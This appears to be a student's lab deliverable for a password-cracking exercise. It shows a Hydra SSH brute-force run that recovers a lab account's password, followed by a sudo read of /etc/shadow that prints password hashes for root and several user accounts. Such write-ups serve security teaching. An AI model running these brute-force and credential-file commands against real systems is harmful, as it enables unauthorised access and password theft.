

Deliverable 1. Provide a screenshot that shows your crack of peregrin.tooks password on bios.

```
(champuser@kali)-[~/Downloads]
$ hydra -l peregrin.took -P pippin-mix.txt 10.0.5.21 ssh -f
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use i
n military or secret service organizations, or for illegal purposes (this is
non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-06 16
:28:21
[WARNING] Many SSH configurations limit the number of parallel tasks, it is
recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 4900 login tries (l:1/p:
4900), ~307 tries per task
[DATA] attacking ssh://10.0.5.21:22/

[STATUS] 138.00 tries/min, 138 tries in 00:01h, 4762 to do in 00:35h, 16 act
ive
[STATUS] 112.00 tries/min, 336 tries in 00:03h, 4564 to do in 00:41h, 16 act
ive
[22][ssh] host: 10.0.5.21 login: peregrin.took password: 28Peregrin
[STATUS] attack finished for 10.0.5.21 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-09-06 16
:31:47
```

Deliverable 2. Provide a screenshot that shows the cracked http and ssh hashes, try to get at least 2 http passwords and two more ssh passwords cracked.

```
[peregrin.took@bios ~]$ sudo cat /etc/shadow
[sudo] password for peregrin.took:
root:$6$.hYQb1oC3mGrFp.j$/2x0kZqNYgsoLb/J0sRT/s2yo6ClullHkdWoiIWQjJSDCWR4rA0K
X6N/4NKx/YeiNqZPODGG0BsBmdgYqM7Ma0:19143:0:99999:7:::
bin:*:18700:0:99999:7:::
daemon:*:18700:0:99999:7:::
adm:*:18700:0:99999:7:::
lp:*:18700:0:99999:7:::
sync:*:18700:0:99999:7:::
shutdown:*:18700:0:99999:7:::
halt:*:18700:0:99999:7:::
mail:*:18700:0:99999:7:::
operator:*:18700:0:99999:7:::
games:*:18700:0:99999:7:::
ftp:*:18700:0:99999:7:::
nobody:*:18700:0:99999:7:::
dbus:!!:19136:::
systemd-coredump:!!:19136:::
systemd-resolve:!!:19136:::
tss:!!:19136:::
polkitd:!!:19136:::
libstoragemgmt:!!:19136:::
sssd:!!:19136:::
cockpit-ws:!!:19136:::
cockpit-wsinstance:!!:19136:::
chrony:!!:19136:::
sshd:!!:19136:::
apache:!!:19143:::
deployer:$6$HbMf00cw.MSP3Awx$jS5xJry0E1W04VGvVgDtltn8/ZyFsTkqxcgZQG/vQFg8Fr8yH
7AbZPyykp32WKR2FXy6UtoFJvFWaf7f9RoUy3.:19143:0:99999:7:::
peregrin.took:$6$qIwLkSUTixsoFc/H$kkZ7zMyQm6CatVi9HN0/a5rYY7YtdQsQPR2UUMsm63B
mitXGa1f4UaH3tQ8LDeQzbmRcWnEW9S59/n5W8FT9z0:19229:0:99999:7:::
samwise.gamgee:$6$rounds=1000$HlixUNwkSwaHupOU$E.2YaQv7yR4vdA/ggUw9QbAr55w58U
zybYh3hXjaSY7H3mNdBqvDK/FranD3iFgxM5HXHG1D8XR3eoyJMrxS8.:19143:0:99999:7:::
bilbo.baggins:$6$rounds=1000$zN5Ove6c.4bAM84F$B3nDW29weVqSD3new8PzqCaAjgKzLX7
ZpJtdEVBB0HgoxLx4LiKJebyHb5IwUSIRPrJZMNdkBxUrbK9bSUBkC0:19143:0:99999:7:::
frodo.baggins:$6$rounds=1000$umRaPwsQTNQ2S2xv$K7KTg537sDsB5q3SfQJJTxrYGPuY0mF
xo2Wmcx4ZtY62Gw97y.gbuHt6bxMocQDLN6RAMr3ndakyuJALQHfbQ0:19143:0:99999:7:::
gandalf.grey:$6$rounds=1000$LneEppAvGXMREfOV$vkOzEXBjXOD0XK3YJUgd5.nfQVq/gM3B
EbKbARZu/BNQNi6Uu3cie5JvOIhkJ5A6mKGUIGKpUG3gFi4KE6xXW.:19143:0:99999:7:::
boromir:$6$rounds=1000$UvKLGar/VWtqFGCE$DcfW0zRolV4T6GABOUOFFXfg4lpmD4mKriKX1
n5sN3ugJSY3nnicjuGfbT9hgEeo.b6dpWSitnK3z3jjBQ2w//:19143:0:99999:7:::
galadriel:$6$rounds=1000$poPWvLT/CfA/sxS/$lHbu1oMqRV2aM18fkFPbJw25U2.POqhonSm
aUpbzPIPVKl2IxS86Qq8q9v3fYu5Y6qlWwbmqekbL3g1vtPmlQ/:19143:0:99999:7:::
```